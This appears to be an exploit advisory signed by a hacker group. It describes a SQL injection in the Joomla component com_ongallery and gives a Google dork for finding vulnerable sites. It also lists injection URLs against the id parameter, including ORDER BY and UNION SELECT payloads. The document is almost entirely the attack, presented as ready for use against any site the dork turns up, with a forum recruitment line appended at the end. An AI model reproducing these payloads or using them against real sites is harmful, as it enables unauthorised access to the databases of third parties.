===================================================   

Joomla Component (com_ongallery) SQL Injection Vulnerability   

===================================================   

     

Author :   _aL_Bayraqim_   

     

Homepage : http://www.1923turk.com  

   

BORDO BERELİLER GRUP KOMUTANLIGI  

   

..! _al_bayragim_ ..! ..! Corti ..! ..! Aytug_Han ..! ..! Montesque ..! ..! Em3rGeNcY ..!...!..KaraBulut....!..!...Ramses....!....!...Mü cahit...!  

     

===================================================   

  [+]G00gle Dork :index.php?option=com_ongallery  

     

[+] Vulnerable File :  

     

     

http://site.com/index.php?option=com_ongallery&task=ft&id=-1[SQL]   

     

     

[+] ExploiT :   

     

http://site.com/index.php?option=com_ongallery&task=ft&id=-1+order+by+1--  

   

http://site.com/index.php?option=com_ongallery&task=ft&id=-1+union+select+1--   

     

     

===================================================

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！